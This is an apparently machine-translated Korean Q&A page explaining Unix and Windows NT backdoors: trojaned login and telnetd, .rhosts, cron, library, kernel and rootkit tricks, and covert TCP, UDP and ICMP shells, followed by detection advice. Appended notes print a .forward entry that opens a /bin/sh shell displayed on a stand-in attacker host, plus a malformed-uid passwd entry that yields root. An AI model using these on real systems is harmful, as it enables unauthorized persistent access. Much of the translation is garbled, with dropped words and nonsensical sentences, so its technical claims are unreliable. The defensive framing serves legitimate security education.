중화사전망 - 구한말 사전 - 백도어 바이러스란 무엇인가요?
백도어 바이러스란 무엇인가요?
범주: 컴퓨터/네트워크 gt; 바이러스 백신
분석:
잘 훈련된 프로그래머가 더 복잡한 기능을 갖춘 소프트웨어를 설계하는 경우 전체 소프트웨어를 여러 모듈로 나눈 다음 각 모듈을 별도로 설계하고 디버깅하는 데 익숙하며 백도어는 모듈로 들어가는 비밀 입구입니다. 백도어는 프로그램 개발 중에 모듈의 기능을 테스트, 변경 및 강화하기 위해 존재합니다. 물론 프로그래머는 일반적으로 소프트웨어 문서에 백도어를 기록하지 않으므로 사용자는 일반적으로 백도어의 존재를 이해할 수 없습니다.
/ 정상적인 운영 절차에 따르면, 프로그래머는 소프트웨어가 사용자에게 전달되기 전에 소프트웨어 모듈에 있는 백도어를 제거해야 합니다. 그러나 프로그래머의 과실로 인해 또는 고의로 프로그램에 남겨 두는 경우가 있습니다. 향후 수정될 수 있습니다. 완성된 프로그램의 테스트나 유지 관리를 용이하게 하기 위해 프로그램에서 액세스를 숨기는 등 다양한 이유로 실제로 제거되지 않았습니다.
이렇듯 백도어는 프로그램 작성자에 의해 은밀하게 사용될 수도 있고, 철저한 검색을 통해 몇몇 사람들이 숨은 의도로 발견되어 악용될 수도 있습니다.
캐시.baidu/c?word=CAB2C3B43BCAC73BBAF3C3C5amp; url=3A2Exiaom2E/Article5Fshow2Easp3FArticleID3D4777amp; b=0amp; a=29amp; 백도어란 무엇입니까?
컴퓨터 침입자는 초기부터 손상된 시스템으로 돌아갈 수 있는 기술이나 백도어를 개발하기 위해 열심히 노력해 왔습니다. 이 기사에서는 많은 일반적인 백도어에 대해 설명하고 Unix 시스템의 백도어에 더 중점을 둘 것입니다. 또한 앞으로 나타날 Windows NT 백도어에 대해 설명합니다. 이 문서에서는 침입자가 사용하는 방법을 탐지하는 방법과 관리자가 침입자가 다시 돌아오는 것을 방지할 수 있는 기본 방법에 대해 설명합니다. 침입자가 침입하는 경우 이를 막는 것이 얼마나 어려운지 알아보고 첫 번째 침입을 방지하기 위해 더욱 적극적으로 노력할 것입니다. 이 기사에서는 주니어 및 고급 침입자가 백도어를 생성하는 데 널리 사용되는 많은 기술을 다루려고 시도하지만 그렇지 않으며 그렇게 할 수도 없습니다. 가능한 모든 방법을 다룹니다. p>
대다수 침입자의 백도어는 다음과 같은 두세 가지 목적을 달성합니다.
관리자가 모든 비밀번호 및 유사한 방법을 변경하여 보안을 강화하더라도 여전히 침입할 수 있습니다. 이렇게 하면 재침입이 불가능해집니다. 대부분의 백도어는 로그를 빠져나오며 대부분의 경우 침입자가 시스템을 사용하고 있음에도 불구하고 이를 표시할 수 없습니다. 침입자는 관리자가 설치된 백도어를 탐지할 수 있다고 생각하고 시스템의 취약점을 유일한 백도어로 사용하여 반복적으로 시스템에 침입합니다. 따라서 이 경우 시스템의 취약점은 주의를 끌지 못합니다. .
비밀번호 크래킹 백도어
이는 침입자가 사용하는 가장 오래되고 오래된 방법으로 Unix 시스템에 대한 액세스 권한을 얻을 뿐만 아니라 크래킹을 통해 백도어를 생성합니다. 이는 비밀번호가 취약한 계정을 크랙하기 위한 것입니다. 관리자가 향후 침입자의 현재 계정을 차단하더라도 이러한 새 계정은 여전히 재침입을 위한 백도어가 될 수 있습니다. 대부분의 경우 침입자는 비밀번호가 취약한 계정을 찾습니다. 그런 다음 비밀번호를 변경하는 것이 더 어렵습니다. 관리자가 비밀번호가 취약한 계정을 찾으면 비밀번호가 변경된 계정을 찾을 수 없으므로 관리자가 차단할 계정을 결정하기가 어렵습니다.
Rhosts 백도어
네트워크로 연결된 Unix 시스템에서 Rsh 및 Rlogin과 같은 서비스는 rhosts 파일의 호스트 이름을 기반으로 하는 간단한 인증 방법을 사용합니다. 사용자는 액세스 권한을 얻기 위해 비밀번호를 요구하지 않고도 쉽게 설정을 변경할 수 있습니다. 사용자의 rhosts 파일에 " "를 입력하면 누구나 비밀번호 없이 어디서나 이 계정에 액세스할 수 있습니다. 특히 홈 디렉토리가 NFS를 통해 외부로 공유되는 경우 침입자는 이 계정에 더욱 관심을 가지게 됩니다. Rsh는 일반적으로 로깅 기능이 부족하기 때문에 많은 사람들이 " "를 확인하는 경우가 많기 때문에 침입자는 실제로 다른 계정의 호스트 이름과 사용자 이름을 더 많이 설정하므로 발견될 가능성이 줄어듭니다.
체크섬 및 타임스탬프 백도어
초기에는 많은 침입자가 바이너리를 자체 트로이 목마 프로그램으로 교체했습니다. 시스템 관리자는 바이너리 파일이 변경되었는지 확인하기 위해 타임스탬프와 시스템 체크섬 프로그램에 의존했습니다. 침입자는 트로이 목마 파일의 타임스탬프를 원본 파일과 동기화하는 새로운 기술을 개발했습니다. 이는 먼저 시스템 시계를 원래 파일 시간으로 되돌린 다음 시간을 조정함으로써 달성됩니다. 바이너리 트로이 목마 파일이 원본과 정확하게 동기화되면 시스템 시간을 현재 시간으로 되돌릴 수 있습니다. CRC 검증을 기반으로 하는 프로그램은 쉽습니다.
침입자가 설계되었습니다.
트로이 목마의 체크섬을 원본 파일의 체크섬으로 조정할 수 있는 프로그램입니다. MD5는 대부분의 사람들이 권장하며, MD5가 사용하는 알고리즘은 아직 누구도 속이지 않았습니다.
로그인 백도어
Unix에서는 Tel에서 들어오는 사용자의 비밀번호를 검증하기 위해 주로 로그인 프로그램을 사용하는데, 침입자는 login.c의 원본 코드를 입수하고, 입력된 비밀번호와 비교할 때 백도어 비밀번호를 먼저 확인하도록 수정한다. . 사용자가 백도어 비밀번호를 입력하면 관리자가 설정한 비밀번호를 무시하고 바로 들어갈 수 있습니다. 이렇게 하면 백도어 비밀번호가 루트보다 앞에 있으므로 침입자가 어떤 계정에도 들어갈 수 있습니다. 사용자는 실제로 로그인하고 utmp 및 wtmp에 로그인합니다. 침입자가 계정을 노출하지 않고도 로그인하고 쉘을 얻을 수 있도록 관리자는 "strings" 명령을 사용하여 로그인 프로그램에서 텍스트 정보를 검색했습니다. . 다수 이러한 상황에서는 침입자가 비밀번호를 암호화하거나 숨기기 시작하여 문자열 명령이 유효하지 않게 됩니다. 따라서 더 많은 관리자가 이러한 백도어를 탐지하기 위해 사용합니다.
Teld 백도어
사용자가 시스템에 전화하면 수신 포트의 ID 서비스가 연결을 수락한 다음 로그인을 실행하는 in.teld에 전달합니다. 일부 침입자는 관리자가 여부를 확인할 것임을 알고 있습니다. 로그인이 수정된 후 in.teld 내부에서 사용자가 사용하는 터미널에 대한 몇 가지 확인이 있습니다. 일반적인 터미널 설정은 침입자가 만들 수 있습니다. 백도어. 터미널이 "letmein"으로 설정된 경우 침입자가 일부 서비스를 백도어하고 특정 소스 포트에서 연결하기 위한 쉘을 생성합니다.
서비스 백도어
거의 모든 네트워크 서비스가 침입자에 의해 백도어되었습니다. Finger, rsh, rexec, rlogin, ftp, 심지어 ID 등의 버전은 단지 특정 TCP 포트에 연결된 쉘일 뿐입니다. 백도어 비밀번호를 통해 얻은 프로그램이 가끔 사용되나요? ucp와 같이 사용되지 않는 서비스가 id.conf에 새 서비스로 추가될 수 있습니다. 관리자는 어떤 서비스가 실행되고 있는지 주의 깊게 살펴보고 MD5를 사용하여 원래 서비스 프로그램을 확인해야 합니다.
Cronjob 백도어
Unix의 Cronjob은 일정에 따라 특정 프로그램의 실행을 예약할 수 있으며, 침입자는 오전 1시에서 오전 2시 사이에 실행되도록 백도어 셸 프로그램을 추가하여 매일 밤 1시간 동안 액세스 권한을 얻을 수도 있습니다. 자주 실행되는 합법적인 프로그램에도 백도어가 내장되어 있습니다.
라이브러리 백도어
거의 모든 UNIX 시스템은 공유 라이브러리를 사용하여 동일한 기능을 재사용합니다. 일부 침입자는 crypt.c 및 _crypt.c와 같은 기능에 백도어를 만들었습니다. 백도어 비밀번호를 사용할 때 셸을 생성하는 login.c와 같은 프로그램은 MD5를 사용하여 확인합니다. 로그인 프로그램은 여전히 백도어 기능을 생성할 수 있습니다. 그리고 많은 관리자는 라이브러리가 백도어되었는지 여부를 확인하지 않습니다. 많은 침입자에게 문제가 있습니다. 일부 관리자는 모든 검증에 MD5를 사용합니다. ) 및 파일 액세스 기능. 백도어 기능은 원본 파일을 읽지만 트로이 목마 백도어 프로그램을 실행하므로 MD5가 이러한 파일을 읽으면 체크섬이 정상이지만 시스템이 실행되면 트로이 목마 라이브러리 자체도 실행됩니다. MD5 검증을 회피할 수 있습니다. MD5 검증 프로그램을 정적으로 컴파일한 후 실행하는 방법이 있습니다. *라이브러리를 즐겨보세요.
커널 백도어
커널은 Unix 작동 방식의 핵심입니다. MD5 확인을 피하기 위해 라이브러리에 사용되는 것과 동일한 방법이 커널 수준에도 적용 가능하며 정적 링크도 백도어가 될 수 없습니다. 백도어는 작동합니다. 좋은 커널은 관리자가 찾기 가장 어렵습니다. 다행스럽게도 커널 백도어는 쉽게 구할 수 없으며 실제로 얼마나 널리 퍼져 있는지는 누구나 알고 있습니다.
파일 시스템 백도어
p >침입자는 자신의 전리품이나 데이터를 관리자가 발견할 수 없도록 서버에 저장해야 합니다. 침입자 기사에는 익스플로잇 스크립트 도구, 백도어 세트, 스니퍼 로그, 이메일 백업, 원본 코드 등이 포함되는 경우가 많습니다. 관리자가 이러한 대용량 파일을 발견하는 것을 방지하기 위해 침입자는 특정 디렉터리와 파일을 숨기기 위해 "ls", "du", "fsck"를 패치해야 합니다. 매우 낮은 수준에서 침입자는 다음과 같은 취약점을 만듭니다. 하드 디스크의 일부가 잘립니다. 따라서 침입자는 이러한 숨겨진 파일에 액세스하기 위해 특수 도구만 사용할 수 있습니다.
이러한 "불량 섹터"에서 파일 시스템을 찾는 것은 어렵습니다. , 그러나 존재합니다.
부트 차단 백도어
PC 세계에서는 루트 영역에 많은 바이러스가 숨어 있습니다. 바이러스 백신 소프트웨어는 루트 영역이 변경되었는지 확인합니다. Unix의 경우 대부분의 관리자는 루트 영역을 확인하는 소프트웨어가 없기 때문에 일부 침입자는 루트 영역에 백도어를 남겨두기도 합니다.
숨겨진 프로세스 백도어
침입자는 일반적으로 자신이 사용하는 프로그램을 숨기고 싶어합니다. 이러한 프로그램은 일반적으로 비밀번호 크래킹 프로그램 및 스니퍼입니다. 이를 달성하는 방법에는 여러 가지가 있으며, 보다 일반적인 방법은 다음과 같습니다. 프로그램을 작성할 때 자신의 argv[]를 수정합니다. 스니퍼의 이름을 바꿀 수 있습니다. 따라서 관리자가 "ps"를 사용하여 실행 중인 프로세스를 확인하면 표준 서비스 이름이 나타나도록 수정될 수 있습니다.
" ps"는 모든 프로세스를 표시할 수 없습니다. 프로세스 테이블에 나타나지 않도록 백도어나 프로그램을 인터럽트 드라이버에 내장할 수 있습니다. 이 기술을 사용하는 백도어의 예는 amod.tar.gz입니다:
star.niimm.spb.su/~maillist/bugtraq.1/0777
커널 숨겨진 프로세스를 수정할 수도 있습니다.
루트킷
가장 인기 있는 백도어 설치 패키지 중 하나는 웹 검색을 사용하여 쉽게 찾을 수 있습니다. 루트킷의 README에서 몇 가지 일반적인 파일을 찾을 수 있습니다:
z2 - utmp, wtmp 및에서 항목을 제거합니다. lastlog.
p>Es - sun4 기반 커널용 rokstar의 에테르 스니퍼.
수정 - 체크섬 위조를 시도하고 동일한 날짜/perms/u/g로 설치합니다.
Sl - 로그인에 전송된 마법의 비밀번호를 통해 bee 루트.
Ic - 출력에서 PROMISC 플래그를 제거하도록 ifconfig를 수정했습니다.
ps: - 프로세스를 숨깁니다.
Ns - 특정 시스템에 대한 연결을 숨기도록 통계를 수정했습니다.
Ls - bei에서 특정 디렉터리와 파일을 숨깁니다.
ng 나열.
du5 - 하드 드라이브에서 사용 중인 공간을 숨깁니다.
ls5 - 특정 파일과 디렉터리가 나열되지 않도록 숨깁니다.
네트워크 백도어에 액세스
침입자는 시스템에서 자신의 존재를 숨기고 싶어할 뿐만 아니라 네트워크 액세스도 숨기고 싶어합니다. 이러한 네트워크 액세스 백도어는 때때로 침입자가 방화벽을 통해 액세스할 수 있도록 허용합니다. 포트 번호를 생성하면 비표준 네트워크 포트를 통한 트래픽이므로 관리자는 일반적으로 TCP, UDP 및 ICMP를 사용하지만 그럴 수도 있습니다. 다른 유형의 메시지일 수 있습니다.
TCP 셸 백도어
침입자는 방화벽에 의해 차단되지 않는 상위 수준 TCP 포트에 이러한 TCP 셸 백도어를 생성할 수 있습니다. 비밀번호로 관리로부터 보호 관리자는 연결한 후 즉시 쉘 액세스임을 확인할 수 있습니다. 관리자는 stat 명령을 사용하여 현재 연결 상태, 수신 중인 포트 및 현재 연결의 내부 및 외부를 확인할 수 있습니다. 이러한 백도어를 통해 침입자는 TCP 래퍼 기술을 피할 수 있습니다. SMTP 포트에서는 많은 방화벽이 이메일 통과를 허용합니다.
UDP 셸 백도어
관리자는 종종 주의를 기울여야 합니다. TCP 연결을 시도하고 이상한 동작을 관찰하지만 UDP Shell 백도어에는 그러한 연결이 없으므로 stat는 침입자의 액세스 추적을 표시할 수 없습니다. 일반적으로 침입자는 DNS와 유사한 UDP 메시지의 통과를 허용하도록 설정됩니다. 이 포트의 UDP 셸은 방화벽을 통과할 수 있습니다.
ICMP 셸 백도어
Ping은 많은 방화벽에서 ICMP 패킷을 보내고 받음으로써 시스템 활동을 탐지하는 일반적인 방법 중 하나입니다. 침입자는 Ping의 ICMP 패킷에 데이터를 넣을 수 있습니다. 관리자는 Ping 패킷 폭풍을 알아차릴 수 있지만 침입자는 패킷에 있는 데이터를 볼 수 없습니다. 노출됩니다.
암호화된 연결
관리 운영자는 특정 데이터에 접근하기 위해 스니퍼를 생성할 수 있지만, 침입자가 네트워크 트래픽 백도어를 암호화하면 그 내용을 파악하는 것이 불가능합니다.
Windows NT
Windows NT는 Unix처럼 여러 사용자가 한 컴퓨터에 액세스하는 것을 쉽게 허용할 수 없기 때문에 침입자가 Windows에 침입하기 어렵습니다. NT를 설치하고 백도어를 설치하면 Unix의 광범위한 네트워크 공격을 더 자주 보게 될 것입니다. Windows NT가 다중 사용자 기술을 향상시키면 침입자들은 더 자주 Windows NT를 사용할 것입니다. Unix 백도어 기술은 Windows NT로 이식될 예정이며 관리자는 침입자의 출현을 기다릴 수 있습니다. 오늘날 Windows NT에는 이미 Neark Traffic 백도어가 있으므로 침입자가 이를 쉽게 설치할 수 있습니다. this?: (
해결 방법
백도어 기술이 발전할수록 관리자가 침입자가 후자에 성공적으로 침입했는지 판단하기가 더 어려워집니다. 차단합니다.
평가<
/p>
가장 먼저 해야 할 일은 네트워크의 취약점을 적극적이고 정확하게 추정하여 취약점의 존재를 파악하고 해결하는 것입니다. 네트워크 및 시스템 취약점을 스캔하고 확인하는 데 도움이 되는 많은 상용 도구가 있습니다. 설치 공급업체 보안 패치를 구현하면 보안이 크게 향상될 것입니다.
MD5 기준
시스템(보안) 검사에서 중요한 요소는 MD5 체크섬 기준입니다. 해커가 침입하여 백도어를 생성하고 기본을 구축하면 백도어도 통합됩니다. 일부 회사는 해킹을 당해 시스템에 몇 달 동안 백도어를 설치하는 경우가 많습니다. 기업이 해커를 발견하고 백업에 백도어 제거를 요청하면 시스템을 복원할 때 침입이 발생하기 전에 백도어도 복원해야 하기 때문에 모든 노력이 헛수고가 됩니다.
침입 탐지
다양한 조직이 온라인에 접속하고 자체 시스템 중 일부에 대한 연결을 허용함에 따라 과거에는 대부분의 침입 탐지 기술이 로그를 기반으로 하는 것이 점점 더 중요해지고 있습니다. 침입 탐지 시스템 기술(IDS)은 실시간 차단 및 네트워크 트래픽 보안 분석을 기반으로 하며, 최신 IDS 기술은 DNS UDP 메시지를 찾아보고 데이터가 프로토콜을 준수하지 않는 경우 이를 준수하는지 확인할 수 있습니다. 경고가 발행되면 추가 분석을 위해 데이터를 캡처하여 데이터가 프로토콜 요구 사항을 준수하는지 또는 암호화된 셸 세션을 마운트할지 여부를 확인하는 ICMP 패킷에도 적용할 수 있습니다.
부팅 CD-ROM에서
일부 관리자는 침입자가 CD-ROM에 백도어를 생성할 가능성을 제거하기 위해 CD-ROM에서 부팅하는 것을 고려합니다. 이 접근 방식의 문제점은 구현하는 데 드는 비용과 시간입니다.
경고
보안 분야의 급격한 변화로 인해 새로운 취약점이 매일 발표되고 있으며 침입자는 끊임없이 새로운 공격을 설계하고 백도어 기술을 설치하고 있습니다. 걱정 없는 보안 기술은 없습니다. 단순한 방어는 없으며 끊임없는 노력만이 있을 수 있다는 점을 기억해 주세요!
( 어떤 방어도 완벽하지 않으며, 부지런함을 대신할 수는 없다는 점을 명심하세요. 주의. 이 문장을 어떻게 번역하나요? : ( )
-------------------------------- ---------------- ----------------------------------
다음을 추가할 수 있습니다:
.forward 백도어
Unix 시스템에서 mands를 .forward 파일에 배치하는 것도
``username'' 계정에 대해 .forward 파일은 다음과 같이 구성될 수 있습니다:
\username
|" /usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"
이 방법의 순열에는 시스템 메일 변경이 포함됩니다.
별칭 파일(대부분의 경우 /etc/alia에 위치)
ses)
이는 단순한 순열이므로, 고급 사용자는
를 통해 임의의 명령을 취할 수 있는 전달 파일에서 간단한
스크립트를 실행할 수 있습니다. stdin(사소한 전처리 후).
PS: 위의 방법은 패니에 액세스하는 데에도 유용합니다.
메일허브(공유 홈 디렉토리 FS가 있다고 가정
amp;
클라이언트 및 서버).
gt; *** rsh를 사용하면 이 백도어를 효과적으로 무효화할 수 있습니다.
gt ; 프로그램 자체를 실행할 수 있는 elm의 필터나
gt; 등을 허용한다면 여전히 문제가 될 수 있습니다...)
다음을 추가할 수 있습니다.
.forward 백도어
Unix에서는 .forward 파일에 명령을 입력하는 것이 액세스 권한을 다시 얻는 일반적인 방법입니다. 'username' 계정의 .forward는 다음과 같이 설정할 수 있습니다.
\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e/bin/sh"
이것의 변형 방법에는 시스템 메일 별칭 파일(보통 /etc/aliases에 있음)을 변경하는 것이 포함됩니다. 이는 단순한 변환일 뿐이라는 점에 유의하세요. 고급 버전에서는 .forward에서 간단한 스크립트를 실행하여 표준 입력에서 임의의 명령을 실행할 수 있습니다. gt;*** rsh를 사용하면 이러한 종류의 백도어를 효과적으로 방지할 수 있습니다(물론 자동으로 실행될 수 있는 elm의 필터나 procmailgt; 프로그램을 허용하면 여전히 문제가 발생할 수 있습니다...)
( 이 문단의 내용을 깊이 이해하지 못하여 영어로 작성합니다. 조언 부탁드립니다!)
---------------- --------- --------------- ---------
이 "기능"을 백도어로 사용할 수 있습니다:
/etc/password에 잘못된 uid/gid가 지정된 경우 , 대부분의 login(1) 구현은 잘못된 uid/gid를 확인할 수 없으며 atoi(3)는 uid/gid를 0으로 설정하여 수퍼유저 권한을 부여합니다.
예:
rmartin: x :x50:50: R. Martin:/home/rmartin:/bin/tcsh
Linux에서는 rmartin 사용자의 uid가 0으로 설정됩니다.